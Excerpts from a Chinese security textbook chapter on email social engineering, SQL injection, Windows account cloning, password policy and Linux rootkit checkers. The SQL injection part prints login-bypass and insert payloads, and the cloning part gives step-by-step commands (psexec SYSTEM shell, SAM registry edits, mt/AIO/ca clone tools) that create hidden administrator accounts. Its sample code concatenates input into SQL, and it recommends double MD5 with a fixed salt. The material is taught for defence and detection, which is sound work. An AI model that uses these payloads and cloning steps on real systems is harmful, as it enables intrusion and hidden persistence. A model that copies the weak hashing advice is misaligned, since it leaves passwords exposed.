    {"text": "1．技术方面的防范 （1）安装杀毒软件和防火墙等安全防范软件 操作系统安装完成后，一定要安装杀毒软件和防火墙软件。 要定期养成杀毒的好习惯，对下载的邮件和软件均要进行杀毒，还要定期对系统进行杀毒。 （2）应用软件和安全防范软件更新 目前，Windows操作系统、应用软件和安全防范软件都会在一定程度上存在漏洞，如果网上已经公布了漏洞而用户未及时修补，就比较容易受到攻击。 因此，需要设置Windows操作系统自动更新系统补丁，更新Adobe Reader、Flash、IE等应用软件到最新版本或者下载补丁程序，每天更新杀毒软件病毒库。 （3）使用安全的邮件查看技术 在虚拟机中查看邮件，即使用目前的虚拟机技术，通过在物理机上安装VMware Workstation重新安装一个操作系统，所有邮件的查看操作均在虚拟机中进行，查看前要做快照，邮件处理完毕再使用快照恢复，这样，即使系统感染木马，也不会影响实体机。 使用不同的邮件查看软件时，应尽量熟悉所使用软件的基本设置，关闭自动下载图片和邮件预览功能，以纯文字方式打开邮件。"},
    {"text": "2．安全意识方面的防范 （1）警惕要求输入用户名和密码的页面 在电子邮件社会工程学攻击中，邮件跨站攻击是最常见和最有效的一种攻击方法。"},
    {"text": "（3）抵制“诱惑” 现代社会，信息极度丰富，多看原始网页的内容，针对“朋友”发送的电子邮件，不心动、不冲动，对自己感兴趣、内容有吸引力的邮件，要验明身份，特别是带有附件的邮件，要抵制“诱惑”，慎重打开。"},
    {"text": "8.6.5 小结 表面上看，电子邮件社会工程学攻击只是简单的欺骗，但是在网络安全领域，它的攻击效果往往是最显著的，究其原因是它包含了极其复杂的心理学因素，所以比其他入侵方式更难防范。"},
    {"text": "只要我们时刻提醒自己“攻击随时有可能在身边发生”，全面了解社会工程学的攻击方法和手段，具备一定的安全防范知识和防范措施，在面对社会工程学攻击的时候就能识别其真面目，处于主动地位，将遭受攻击的风险降至最低。"},
    {"text": "8.7.1 SQL注入技术的定义 SQL注入（SQL Injection）技术在国外最早出现在1999年，2002年后开始大量在我国出现。 目前没有SQL注入技术的标准定义，微软中国技术中心从以下两个方面进行了描述。"},
    {"text": "• 脚本注入式攻击 • 恶意用户输入，用来影响被执行的SQL脚本 Chris Anley将SQL注入定义为：攻击者通过在查询操作中插入一系列的SQL语句到应用程序中来操作数据。"},
    {"text": "利用SQL注入技术来实施网络攻击常称为SQL注入攻击，其本质是利用Web应用程序中输入的SQL语句的语法进行处理，针对的是Web应用程序开发者在编程过程中未对SQL语句传入的参数进行严格的检查和处理所造成的漏洞。 习惯上将存在SQL注入点的程序或者网站称为SQL注入漏洞。 实际上，SQL注入是存在于有数据库连接的应用程序中的一种漏洞，攻击者通过在应用程序中预先定义的查询语句的结尾加上额外的SQL语句元素，欺骗数据库服务器执行非授权的查询。"},
    {"text": "这类应用程序一般是基于Web的应用程序，它允许用户输入查询条件，并将查询条件嵌入SQL请求语句中，发送到与该应用程序相关联的数据库服务器中执行。"},
    {"text": "8.7.2 SQL注入攻击的特点 SQL注入攻击是当前网络攻击的主要手段之一，在一定程度上其安全风险高于缓冲区溢出漏洞，目前的防火墙尚不能对SQL注入漏洞进行有效的防范。 防火墙为了使合法用户运行网络应用程序访问服务器端数据，必须允许从Internet到Web服务器的正向连接，因此，一旦网络应用程序中存在注入漏洞，攻击者就可以直接访问数据库，进而获得数据库所在的服务器的访问权。"},
    {"text": "所以，在某些情况下，SQL注入攻击的风险要高于其他漏洞。 SQL注入攻击具有以下特点。 • 广泛性：SQL注入攻击利用的是SQL语法，因此，只要是利用SQL语法的Web应用程序，如果未对输入的SQL语句进行严格的处理，都有可能存在SQL注入漏洞。 目前，以Active/Java Server Pages、Cold Fusion Management、PHP、Perl等技术与SQL Server、Oracle、DB2、Sybase等数据库相结合的Web应用程序均发现存在SQL注入漏洞。 • 技术难度不高：SQL注入技术公布后，网络上出现了多款SQL注入工具，如教主的HDSI、NBSI、明小子的Domain等。 利用这些工具软件，攻击者可以轻易地对存在SQL注入的网站或者Web应用程序实施攻击，并最终获取计算机的控制权。 • 危害大：SQL注入攻击成功后，轻者可能更改网站首页等数据，重者可能通过网络渗透等攻击技术获取公司机密数据，造成重大的经济损失。 8.7.3 SQL注入攻击的实现原理和过程 下面分别介绍SQL注入攻击的实现原理和实现过程。 1．SQL注入攻击的实现原理 结构化查询语言（SQL）是一种用来和数据库交互的文本语言。 SQL Injection就是利用某些数据库的外部接口把用户数据插入实际的数据库操作语言中，从而达到入侵数据库乃至操作系统的目的。"},
    {"text": "在Web应用程序的登录验证程序中，一般有用户名（username）和密码（password）两个参数，程序会通过用户输入的用户名和密码来执行授权操作，其原理是通过查找user表中的用户名（username）和密码（password）的结果进行授权访问，典型的SQL查询语句如下。"},
    {"text": "Select * from users where username='admin' and password='smith’ 如果分别给username和password赋值“admin' or 1=1--”和“aaa”，SQL脚本解释器中的上述语句就会变为如下形式。 select * from users where username=’admin’ or 1=1-- and password=’aaa’ 在该语句中进行了两个判断，只要一个条件成立，就会执行成功。"},
    {"text": "• ' union select sum(username) from users：从users表中查出username的个数。 • '; insert into users values(666, 'attacker', 'foobar' , 0xffff )：在user表中插入值。"},
    {"text": "2．SQL注入攻击的实现过程 SQL注入攻击可以手工进行，也可以通过SQL注入攻击辅助软件（如HDSI、Domain、NBSI等）进行，其实现过程可以归纳为以下5个阶段。 01 寻找SQL注入点 寻找SQL注入点的经典方法是在有参数传入的地方添加如“and 1=1”、“and 1=2”及“’”等一些特殊字符，通过浏览器返回的错误信息来判断是否存在SQL注入，如果返回错误，则表明程序未对输入的数据进行处理，绝大部分情况下都能进行注入。 02 获取和验证SQL注入点 找到SQL注入点以后，需要进行SQL注入点的判断。 03 获取信息 获取信息是SQL注入的一个关键步骤。 在SQL注入中，首先需要判断存在注入点的数据库是否支持多句查询、子查询、数据库用户账号、数据库用户权限。"},
    {"text": "04 实施控制 以SQL Server 2000为例，如果实施注入攻击的数据库是SQL Server 2000，且数据库用户为sa，则可以直接添加管理员账号、开放3389远程终端服务、生成文件等。 05 间接控制 间接控制主要是指通过SQL注入点不能执行DOS等命令时，只能进行数据字段内容的猜测。"},
    {"text": "在Web应用程序中，为了方便用户的维护，一般都提供了后台管理功能，其后台管理验证用户和口令都会保存在数据库中，通过猜测可以获取这些内容。"},
    {"text": "8.7.4 SQL注入攻击的检测与防范方法 下面分别介绍SQL注入攻击的检测与防范方法。 1．SQL注入攻击的检测方法 SQL注入攻击的检测分为入侵前的检测和入侵后的检测。 入侵前的检测可以通过手工方式进行，也可以使用SQL注入工具软件实现，检测的目的是预防SQL注入攻击。 对于SQL注入攻击后的检测，主要是针对日志的检测，SQL注入攻击成功后，会在IIS日志和数据库中留下痕迹。 （1）数据库检查 使用HDSI、NBSI和Domain等SQL注入攻击软件工具进行SQL注入攻击后，都会在数据库中生成一些临时表。 通过查看数据库中最近创建的表的结构和内容，可以判断是否发生过SQL注入攻击。"},
    {"text": "SQL注入攻击往往会大量访问某个页面文件（存在SQL注入点的动态网页），日志文件会急剧增加，通过查看日志文件的大小及日志文件的内容，也可以判断是否发生了SQL注入攻击。 （3）其他相关信息判断 SQL注入攻击成功后，入侵者往往会添加用户、开放3389远程终端服务、安装木马后门等，可以通过查看系统管理员账号、远程终端服务器开启情况、系统最近日期产生的一些文件等信息来判断是否发生了入侵。 2．一般的SQL注入攻击防范方法 SQL注入攻击防范方法目前已经有很多，总结起来有下面一些。"},
    {"text": "• 目录最小化权限设置，给静态网页目录和动态网页目录分别设置不同的权限，尽量不给写目录权限。 • 修改或者去掉Web服务器上默认的一些危险命令，如ftp、cmd、wscript等，需要时再复制到相应目录。"},
    {"text": "在程序中对口令等敏感信息加密都是采用MD5函数进行加密，即“密文＝MD5（明文）”。 推荐在原来加密的基础上增加一些非常规的方式，即在MD5加密的基础上附带一些值，如“密文＝MD5（MD5（明文）+123456）”。"},
    {"text": "8.7.5 SQL注入攻击的防范模型 下面介绍SQL注入攻击的防范模型。 1．SQL注入攻击防范模型 在前人提出的SQL注入攻击的检测／防御／备案模型基础上，我们进行了检测过程的优化，提出了一种SQL自动防范模型。"},
    {"text": "一旦到达上限，系统将自动向管理员发送邮件，管理员收到邮件后可以进行相应的处理，如果条件允许，还可以增加短信发送功能，增强了SQL注入攻击的自动防范能力。"},
    {"text": "sub stopit() response.write \"存在禁止访问 ip 地址：\"&rs(\"ip\") response.end response.redirect \"noright.asp\" end sub dim attack_browser,attack_ip,attack_host attack_browser=Request.ServerVariables(\"Http_User_Agent\") attack_ip=Request.ServerVariables(\"ReMote_Addr\") attack_host=Request.ServerVariables(\"Remote_Host\") set rs1=server.createobject(\"adodb.recordset\") '从访问禁止 IP 地址中查询是否存在访问者的 IP 地址，如果存在则禁止其访问 sql1=\"select ip from prohibit_ip where ip='\"&attack_ip&\"'\" rs1.open sql1,conn,1,3 if not rs1.eof then call stopit() end if rs1.close set rs1=nothing '从系统防范设置中查出电子邮件地址和运行的访问次数 set rs2=server.createobject(\"adodb.recordset\") sql2=\"select * from D_setup\" rs2.open sql2,conn,1,3 if not rs2.eof then session(\"email\")=rs2(\"email\") session(\"ok_count\")=rs2(\"ok_count\") end if rs2.close set rs2=nothing url=Request.ServerVariables(\"Query_String\") call chk(url) '从 Attack_count 表中获取 A_count 的次数，如果 A_count 次数不小于默认的访问次数则禁止 if chk(url) then set rs3=server.createobject(\"adodb.recordset\") sql3=\"select A_count from attack_count \" rs3.open sql3,conn,1,3 if not rs3.eof then if rs3(\"A_count\")>=session(\"ok_count\") then '插入攻击记录信息到 Attack_record 表中 t1_sql1=\"insert into Attack_record(ip,Attacktime ， Host ， Browser) value('\"&attack_ip&\"',now()，'\"&attack_host&\"'，'\"&/attack_browser&\"')\" set rsdel=conn.execute(t1_sql1) call stopit() ok=Jmail(session(\"email\"),\"SQL 注入攻击告警！ \",\"攻击者 IP 地址:\"& attack_ip ) else temp_a_count=rs3(\"a_count\")+1 '插入攻击 IP 地址和 A_count 信息到 Attack_count 表中 t1_sql2=\"insert into Attack_count(ip,A_count) value('\"&attack_ip&\"','\"&temp_a_count&\"')\" set rsdel=conn.execute(t1_sql2) end if end if 2．使用方法 将所有均存入文件sqlinject.asp中，只需要将该文件包含在需要防范的页面中即可。"},
    {"text": "3．实际应用效果分析 通过实际测试，当入侵者在网页中提交的非法字符达到指定次数后，系统会自动屏蔽该IP地址对网站的访问，并将攻击IP地址、攻击时间、攻击者浏览器版本等信息写入数据库。"},
    {"text": "我们采取的折中办法是：在禁止的网页上留有电子邮件地址，如果发现是因为SQL入侵导致某个局域网（企业）不能访问网站，则可以通过删除数据库中禁止访问的IP地址的方式恢复正常访问。"},
    {"text": "本节对SQL注入攻击的方法、原理及实施过程进行了阐述和总结，并给出了一些常见的SQL注入攻击防范方法。 在本节的最后，给出了一种SQL注入攻击自动防范模型，通过在实际项目中的使用，能够很好地进行主动防范，具有较高的实用价值。"},
    {"text": "8.8 Windows系统克隆用户攻击与防范 随着计算机技术的发展和计算机的普及，还有大大小小的黑客网站和越来越简单的工具，使得目前的网络攻击变得日趋频繁，被植入木马的计算机或服务器越来越多。"},
    {"text": "8.8.1 克隆账号的原理与危害 我们了解一下克隆账号的原理与危害。 1．克隆账号的原理 在注册表中有两处保存了账号的SID相对标志符，一处是注册表HKEY_LOCAL_MACHINE\\SAM\\AMDomains\\AccountUsers下的子键名，另一处是该子键的子项F的值。"},
    {"text": "如果先创建账户，再删除账户，然后使用相同的用户名创建另一个账户，则新账户将不具有授权给前一个账户的权力或权限，原因是该账户具有不同的SID。"},
    {"text": "8.8.2 克隆用户的常用方法 1．手工克隆方法一 在Windows 2000/XP/2003/NT里，默认管理员账号的SID是固定的500（0x1f4），那么，我们可以用机器里已经存在的一个账号将SID为500的账号进行克隆。"},
    {"text": "这里使用的工具是PsExec，一个轻型的Telnet替代工具，它使我们无需手动安装客户端软件即可执行其他系统上的进程，并且可以获得与控制台应用程序相当的完全交互性。 PsExec最强大的功能之一是在远程系统和远程支持工具（如ipconfig）中启动交互式命令提示窗口，以便显示无法通过其他方式显示的有关远程系统的信息。"},
    {"text": "执行命令“psexec-i-s-d cmd”，得到一个System的CMD Shell，如图8-34所示。 图8-34 获取系统权限CMD Shell 得到一个拥有system权限的CMD Shell，然后，在该CMD Shell里运行“regedit/e admin.reg HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\000001F4”命令，我们将SID为500（0x1f4）的管理员账号的相关信息导出，如图8-35所示。 图8-35 导出管理员注册表值 编辑admin.reg文件，将admin.reg文件的第3行“HKEY_LOCAL_MACHINE\\SAM\\SAM\\ Domains\\Account\\Users\\000001F4”中的“1F4”修改为IUSR_XODU5PTT910NHOO的SID，将文件中的“1F4”修改为“3EB”，如图8-36所示。 图8-36 修改注册表值 保存之后，执行命令“regedit/s admin.reg”，导入该admin.reg文件。"},
    {"text": "执行“net user IUSR_XODU5PTT910NHOO n3t104d”命令，修改IUSR_XODU5PTT910NHOO的密码为n3t104d。 这里建议最好使用14位的密码，也就是说，越像IUSR_XODU5PTT910NHOO的密码越好。 现在，我们就可以使用IUSR_XODU5PTT910NHOO的密码n3tl04d进行远程登录，看到和管理员一样的配置环境了，如图8-37所示。 图8-37 使用克隆账号登录3389 注意 大部分机器里IUSR_MACHINE用户的SID都为0x3E9。"},
    {"text": "如果机器在最初安装的时候没有安装IIS，而是自己创建账号后再安装IIS，就有可能不是这个值了。 如果不确定，可以使用“regedit/e sid.reg HKEY_ LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\\IUSR_MACHINE”命令，先导出注册表，再编辑sid.reg文件，看到SID为“3EB”，如图8-38所示。 图8-38 查看注册表值 2．手工克隆方法二 另一种手工克隆账户方法是：运行regedt32.exe，展开注册表到HKEY_LOCAL_MACHINE\\ SAM\\SAM，依次单击菜单栏中的“编辑”→“权限”选项（Windows 2000中是“安全”→“权限”选项），弹出“SAM的权限”对话框，单击Administrators用户，勾选允许完全控制（在Windows 2000中，是在该对话框中勾选“允许将来自父系的可继承权限传播给该对象”选项），单击“确定”按钮，如图8-39所示。 图8-39 设置权限 找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\00001F4，双击右边窗口中的“F”项，如图8-40所示。 图8-40 查看注册表F值 选取全部内容，单击右键，在弹出的快捷菜单中选择“复制”选项。 打开HKEY_LOCAL_ MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\00003EB下的F项，将刚才复制的内容粘贴进去。"},
    {"text": "图8-41 使用mt进行账号克隆 mt -clone <SourUser> <DestUser> 例如，“mt-clone adminstrator IUSR_XODU5PTT910NHOO”。 在这里，就是把管理员账号administrator克隆为IUSR_XODU5PTT910NHOO账号。"},
    {"text": "4．使用AIO克隆 AIO（All In One）是WinEggDrop编写的一个把很多小工具功能集成在一起的“工具”，其中有克隆用户、修改服务的启动类型、删除系统账户、检查系统隐藏服务、端口扫描和端口转发等功能。"},
    {"text": "Aio.exe -Clone 正常账号 要被克隆账户 密码 命令示例如下。 Aio.exe -Clone Administrator IUSR_XODU5PTT910NHOO n3tl04d 这样，就可以用IUSR_XODU5PTT910NHOO\\n3tl04d作为管理员登录了，如图8-42所示。 图8-42 使用AIO克隆 5．使用CA克隆 ca.exe是小榕编写的一个远程克隆账号工具，当然，本地克隆也没问题，其用法如下。"},
    {"text": "图8-43 使用CA克隆 ca \\\\127.0.0.1 administrator 123456 IUSR_XODU5PTT910NHOO 123456 6．使用adhider建立隐藏账号 adhider是“锦毛鼠”编写的一个专门建立隐藏用户的工具。 此工具有一个缺点，就是当服务器重启后，用户就隐藏不了，会在用户管理中显示出来，用法如下。"},
    {"text": "clone n3tl04d 520mm 这时，就可以使用n3tl04d\\520mm登录，得到管理员权限。 注意 在Windows 2003下使用clone克隆后，再使用MT检查，会提示没有系统权限，此时需要重启计算机或者运行一个拥有system权限的CMD才能使用MT检查。"},
    {"text": "IUSR_XODU5PTT910NHOO用户的ExpectedSID和CheckedSID不一样，且它的CheckedSID值和管理员administrator的CheckedSID值一样，显然，IUSR_XODU5PTT910NHOO是一个克隆账号。"},
    {"text": "3．使用CCA检查 CCA是小榕编写的一款检查是否存在克隆的账号的工具，支持远程检查，但必须有管理员账号，用法如下。 cca.exe \\\\IP 地址 用户名 密码 检查本机是否存在克隆用户，如“cca \\\\127.0.0.1 administrator 123456”，如图8-49所示。 图8-49 使用CCA检查 可以看出，n3tl04d、n3tl04d＄都是克隆账号。 4．使用LP_Check检查 如果系统存在克隆用户，软件将以红色字显示。"},
    {"text": "5．手工检查 01 检查用户 对于系统的默认用户，如guest、IUSR_XODU5PTT910NHOO等，可以使用“net user IUSR_ XODU5PTT910NHOO”命令查看最后登录日期，如图8-51所示。 图8-51 查看用户登录时间 可以看出，IUSR_XODU5PTT910NHOO登录过系统，此账号默认显示“上次登录从不”，因此可以判定账号已被克隆。"},
    {"text": "21:46管理员并未登录系统，说明其他用户登录系统，单击就可以看到是哪个用户登录了，如图8-53所示。 图8-52 查看系统登录日志 图8-53 查看日志审核记录 n3tl04d＄在21:46登录过系统，说明此账号就是被克隆的账号。 如果日志中没有记录，管理员也没有删除过日志，那肯定是入侵者删除的，说明系统肯定被入侵了。"},
    {"text": "03 查看注册表 运行regedt32.exe，展开注册表到HKEY_LOCAL_MACHINE\\SAM\\SAM，依次单击菜单栏中的“编辑”→“权限”选项，会弹出“SAM的权限”对话框。"},
    {"text": "如果克隆的是系统默认账号，如guest、IUSR_MACHINE等，需要导出两个用户的键值，然后对比F项，如果IUSR_MACHINE的F值和管理员的F项的值相同，说明已被克隆了，如图8-55所示。 图8-55 检查注册表中的F项值 可以看出，3EB的F项的值和管理员1F4的值一样，说明SID为3EB的账号是克隆账号。 6．删除克隆用户 01 还原注册表 如果是系统默认账号被克隆的话，先到一台正常计算机上用同样的方法复制相同用户下面的F项的值。 如果发现IUSR_MACHINE（“MACHINE”为机器名）用户被克隆，就打开一台正常计算机的注册表，找到HKEY_LOCAL_MACHINE\\SAM\\SAM\\DomainsAccount\\Users\\000003EA，导出注册表，保存为3EA.reg。 回到被入侵的计算机，导入被克隆的用户注册表值为3eb.reg，接着把3ea.reg里面的F值复制，替换3eb.reg里的F值，再把里面的“ea”改为“eb”（因为两台计算机的IUSR_ MACHINE用户的SID不一样，如果一样，就不需要修改），如图8-56所示。 图8-56 还原注册表被修改的值 保存后导入注册表，然后在CMD下使用“net user IUSR_MACHINE n3tl04d520mm”命令修改密码。"},
    {"text": "02 使用mt删除克隆用户 在CMD命令环境下输入“mt-killuser用户名”，如“mt-killuser n3tl04d”，命令运行成功后，n3tl04d账号就不存在了，如图8-57所示。 图8-57 使用mt删除克隆用户 03 使用AIO删除克隆用户 在CMD命令环境下输入“Aio.exe-DelUser用户名”，如“Aio.exe-DelUser n3tl04d”，命令运行成功后，n3tl04d用户就被删除了，如图8-58所示。 图8-58 使用AIO删除克隆账号 8.8.4 小结 由于条件限制，本节的全部操作都是在Windows 2003环境下完成的。"},
    {"text": "当发现被克隆时，有人说要重装系统，但笔者认为这是不明智的选择，特别是服务器作为虚拟主机的时候，把客户的网站都停掉造成的损失谁来负责？ 再说，如果入侵是服务器配置不当或者其他网站漏洞造成的，仅靠重装系统无法把原来的漏洞补上，攻击者可以照着原路再一次攻陷系统。"},
    {"text": "如果计算机提供3389远程终端服务或者安装了pcAnywhere等远程控制工具，则系统需要定期检查用户账号，一旦发现克隆账号，说明系统的安全风险非常大，单独删除克隆账号的意义不大。"},
    {"text": "当我们设置系统口令时，大都会用自己熟悉的单词或一些习惯使用的数字，如电话号码、生日等，这在便于自己记忆的同时，也为入侵者打开了方便之门。"},
    {"text": "1．口令设置上的漏洞 中国杀毒网记载了一个有趣的心理试验：随机抽出100名在校大学生，要求他们分别写下两个单词，并告诉他们这两个单词是用于计算机的口令，非常重要，且将来的使用率也很高，要求他们尽量慎重考虑，结果却出人意料。"},
    {"text": "2．社会工程学对口令的攻击 黑客在入侵过程中会利用Google、百度等搜索引擎充分收集被攻击对象的各种资料，在攻击中这些资料将起到辅助作用。 笔者研究发现，在很多网络安全的事故中，数据库服务器、FTP服务器、文件服务器、远程终端等均设置为相同的密码，利用社会工程学进行口令猜测，这样做不但可以方便地渗透内网计算机，而且可以获取被入侵者的电子邮箱、QQ等账号所对应的密码。 3．内网渗透中对口令的攻击 内网渗透的思想源于特洛伊木马的思想。"},
    {"text": "• 利用传统手法，如SQL注入、漏洞溢出等，得到一个分站的服务器权限，然后，根据在分站上收集的电子邮箱信息、FTP信息、网络拓扑信息、管理员常用的管理工具等渗透主站。"},
    {"text": "很多人拿到IE 0day就直接挂马，其实IE 0day还有更高的价值，那就是发送邮件，如果管理员被欺骗并点击了入侵者发送邮件里的URL，后果就很难预料了。"},
    {"text": "通过各种手段取得内网管理员或用户的信任，获得他的信息，如QQ、电子邮箱等，抓住他的弱点，降低他的心理防线，在成熟的时候发送URL或在打包的软件里捆绑木马等，内网将面临又一次的攻击。"},
    {"text": "8.9.2 系统密码安全设置策略 系统密码安全设置策略如下。 1．通过组策略加固密码设置 在“开始”→“运行”窗口中输入“gpedit.msc”并按“回车”键，就可以打开“组策略”设置窗口，如图8-59所示。 图8-59 打开组策略设置窗口 在“组策略”窗口的左侧展开“计算机配置”→“Windows设置”→“安全设置”→“账户策略”→“密码策略”选项，在右边窗格中就会出现一系列的密码设置项。"},
    {"text": "图8-60 修改密码默认策略 2．密码必须符合复杂性要求 如果启用了这个策略，那么在设置和更改一个密码时，系统将会按照下面的规则检查密码是否有效。"},
    {"text": "3．密码长度最小值 此安全设置确定用户账户密码包含的最少字符数。 可以将值设置为介于1和14个字符之间，或者将字符数设置为“0”以确定不需要密码，这是系统的默认值。"},
    {"text": "可以将密码设置为在某些天数（介于1到999之间）后到期，或者将天数设置为0（密码永不过期）。 如果密码最长使用期限介于1到999天之间，密码最短使用期限必须小于密码最长使用期限。 如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为介于0到998天之间的任何值。 注意 最佳操作是将密码设置为30到90天后过期，具体取决于用户的环境。"},
    {"text": "配置这个策略可以让系统记住用户曾经使用的密码，如果更换的新密码与系统“记忆”中的重复，系统就会给出提示。 默认情况下，这个策略不保存用户的密码，用户可以根据自己的习惯进行设置，建议保存5个以上（最多可以保存24个）的密码。 6．密码最短使用期限 此安全设置确定在用户更改某个密码之前必须使用该密码一段时间（以天为单位）。 可以设置一个介于1到998之间的值，或者将天数设置为0（允许立即更改密码）。 密码最短使用期限必须小于密码最长使用期限，除非将密码最长使用期限设置为0（密码永不过期）。 如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为介于0到998之间的任何值。 如果希望“强制密码历史”有效，则需要将密码最短使用期限设置为大于0的值。 如果没有设置密码最短使用期限，用户则可以循环选择密码，直到获得期望的旧密码。"},
    {"text": "从上面这些设置项中我们不难得到一个最为简单有效的密码安全方案，即首先启用“密码必须符合复杂性要求”策略，然后设置“密码最短存留期”，最后开启“强制密码历史”。"},
    {"text": "设置完成后，在“控制面板”中重新设置管理员的密码，这时的密码不仅本身是安全的（不低于6位且包含不同类别的字符），而且以后修改密码时也不易出现与以前重复的情况，这样的系统密码安全性非常高。"},
    {"text": "• 不要用a、b、c等比较小顺序的字母或数字开头，因为用字典暴力破解一般都是从数字或英文字母排序开始的，字母或数字顺序越小，破解机率就越高。"},
    {"text": "在“开始”→“运行”窗口中输入“cmd”并按“回车”按钮，在窗口中输入命令“net user”以查看是否被添加了新用户，然后输入命令“net localgroup administrators”以查看是否有用户被提升了管理员权限。"},
    {"text": "01 打开日志管理器 依次单击“开始”→“程序”→“管理工具”→“事件查看器”选项，如图8-62所示。 图8-62 打开事件查看器 02 设置日志属性 如图8-63所示，在“系统属性”对话框的“常规”选项卡中可以对日志的大小、时间进行设置，如果发现日志记录不是在这个范围内，那么系统可能就被人“闯入”，而且修改了日志。 图8-63 修改日志默认设置 03 使用筛选器记录日志审核结果 打开筛选器，对日志中的事件类型等进行筛选。"},
    {"text": "图8-64 使用筛选器记录事件 属性设置好后，就可以查看日志了，从中我们可以发现入侵者的蛛丝马迹。 为了预防入侵者对日志的破坏，我们还要定期对日志进行备份，如果有需要，还可以恢复之前的日志文件。"},
    {"text": "8.10 使用chkrootkit和rkhunter检查Linux后门 Rootkit是一种特殊的恶意软件，它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息，比较常见的是Rootkit一般和木马、后门等其他恶意程序结合使用。 Rootkit通过加载特殊的驱动，修改系统内核，进而达到隐藏信息的目的。"},
    {"text": "好多人有一个误解，他们认为Rootkit是获得系统root访问权限的工具。 实际上，Rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。 通常情况下，攻击者通过远程攻击获得root访问权限，或者通过密码猜测或密码强制破译的方式获得系统的访问权限。 进入系统后，如果他还没有获得root权限，就通过某些安全漏洞获得系统的root权限。 接着，攻击者会在侵入的主机中安装Rootkit，然后通过Rootkit的后门检查系统是否有其他用户登录，如果只有攻击者自己，攻击者就开始着手清理日志中的有关信息。 通过Rootkit嗅探器获得其他系统的用户和密码之后，攻击者就会利用这些信息入侵其他系统。 最早Rootkit用于善意用途，但后来被黑客用在入侵和攻击他人的计算机系统上，计算机病毒、间谍软件等也常使用Rootkit来隐藏踪迹，因此，Rootkit已被大多数的防毒软件归类为具有危害性的恶意软件。 Linux、Windows、Mac OS等操作系统都有可能成为Rootkit的攻击目标。"},
    {"text": "换句话说，这种程序可能一直存在于我们的计算机中，但我们却浑然不知，这一功能正是许多人梦寐以求的——无论是计算机黑客，还是计算机取证人员。"},
    {"text": "黑客可以在入侵后置入Rootkit，窥探敏感信息，或等待时机，伺机而动； 取证人员可以利用Rootkit实时监控嫌疑人员的不法行为——Rootkit不仅能搜集证据，还有利于及时采取行动！"},
    {"text": "1．下载chkrootkit源码 chkrootkit的官方网站为http://www.chkrootkit.org，目前官方网站已经不提供源程序下载，早期官方下载地址（ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz）已经失效，但可以通过其镜像站点（http://www.chkrootkit.org/mirrors/）进行下载，下载地址为http://www.spenneberg.org/chkrootkit-mirror/files/chkrootkit.tar.gz，目前的版本为0.48，更新于2007年12月17日，后期没有再进行开发。"},
    {"text": "tar -zxvf chkrootkit.tar.gz 3．编译安装 使用make sense命令进行编译，示例如下。 cd chkrootkit-0.48 make sense 把编译好的文件部署到“/usr/local/”目录中，并删除遗留的文件，示例如下。 cd .. cp -r chkrootkit-0.48 /usr/local/chkrootkit rm -r chkrootkit-0.48 至此，安装完毕。 安装好的chkrootkit程序位于“/usr/local/chkrootkit/chkrootkit”目录下。 4．进行检查 使用chkrootkit命令必须以root权限进行，示例如下。 Usage: ./chkrootkit [options] [test ...] chkrootkit命令有以下一些参数可以配合使用。"},
    {"text": "./chkrootkit | grep INFECTED 02 检查受木马感染的ps、ls命令，以及网络接口是否处于混杂模式，示例如下。 ./chkrootkit ps ls sniffer 03 以专家模式进行Rootkit检查，示例如下。 ./chkrootkit–x | more 04 查看结果。"},
    {"text": "• not tested：未进行测试，可能的情况有试验是特定的操作系统、该测试依赖于外部程序时不可用、一些特定的命令行选项中给出（例如“-r”）。 • not found：被测试的命令不可用。"},
    {"text": "rkhunter的最新版本为1.4.2，官方下载地址为http://sourceforge. net/projects/rkhunter/files/。 1．解压并安装 运行如下命令解压rkhunter安装包。 tar -zxvf rkhunter-1.4.2.tar.gz cd rkhunter-1.3.4 运行如下命令安装rkhunter。"},
    {"text": "#./installer.sh --layout default --install 使用“./installer.sh-h”命令查看其帮助信息，示例如下。 Usage: ./installer.sh <parameters> • --help (-h)：显示帮助。"},
    {"text": "./rkhunter -c -scan-knownbad-files （3）更新rkhunter数据库 rkhunter通过一个含有rootkit名字的数据库来检测系统的rootkits漏洞，所以经常更新该数据库非常重要。"},
    {"text": "8.11.1 NTFS权限的简单介绍 下面介绍NTFS权限的基本概念。 1．NTFS介绍 Windows的文件或者目录权限都是利用NTFS的功能来实现访问规则的。 NTFS（New Technology File System）是Windows NT操作环境和Windows NT高级服务器网络操作系统环境的文件系统。"},
    {"text": "2．使用convert命令转换FAT32分区为NTFS分区 如果服务器使用的是FAT32分区，那么强烈建议修改成NTFS分区。 如果把系统安装在C盘并且是FAT32分区，那么默认这台服务器上所有的用户都具有修改权限，也就是说，任何人都能删除或者修改C盘上的重要文件。 这样的情况我们当然是不希望看到，所以在这里需要把FAT32修改成NTFS的磁盘格式。"},
    {"text": "把C盘的FAT32分区修改成NTFS分区，如图8-65所示，在这里输入“Y”就开始自动转换了。 图8-65 使用convert转换磁盘分区 提示 Windows 2003开始安装时最好用NTFS分区快速格式化，不要使用FAT32分区，如图8-66所示，以避免麻烦。 图8-66 使用convert命令将FAT32分区转换成NTFS格式 8.11.2 NTFS详解之磁盘配额 下面我们了解一下NTFS磁盘配额的基本概念及用法。 1．NTFS磁盘配额介绍 NTFS与FAT32相比增加了一些功能，如图8-67和图8-68所示。 NTFS的主要功能有安全、磁盘配额等。 图8-67 NTFS分区磁盘功能 图8-68 FAT32分区磁盘功能 了解一下磁盘配额的基本含义。"},
    {"text": "所以，限制和管理用户使用的硬盘空间是非常重要的，无论是文件服务、FTP服务还是电子邮件服务，都要求对用户使用的磁盘容量进行控制，以避免对资源的滥用。"},
    {"text": "所谓磁盘配额就是管理员可以对本域中的每个用户所能使用的磁盘空间进行配额限制，即每个用户只能使用最大配额范围内的磁盘空间。 磁盘配额监视个人用户卷的使用情况，因此，每个用户对磁盘空间的利用都不会影响同一卷上其他用户的磁盘配额。 2．启用磁盘配额 图8-69 启用磁盘配额管理 默认情况下磁盘配额是关闭的，我们需要开启磁盘配额功能并进行相关的配置。"},
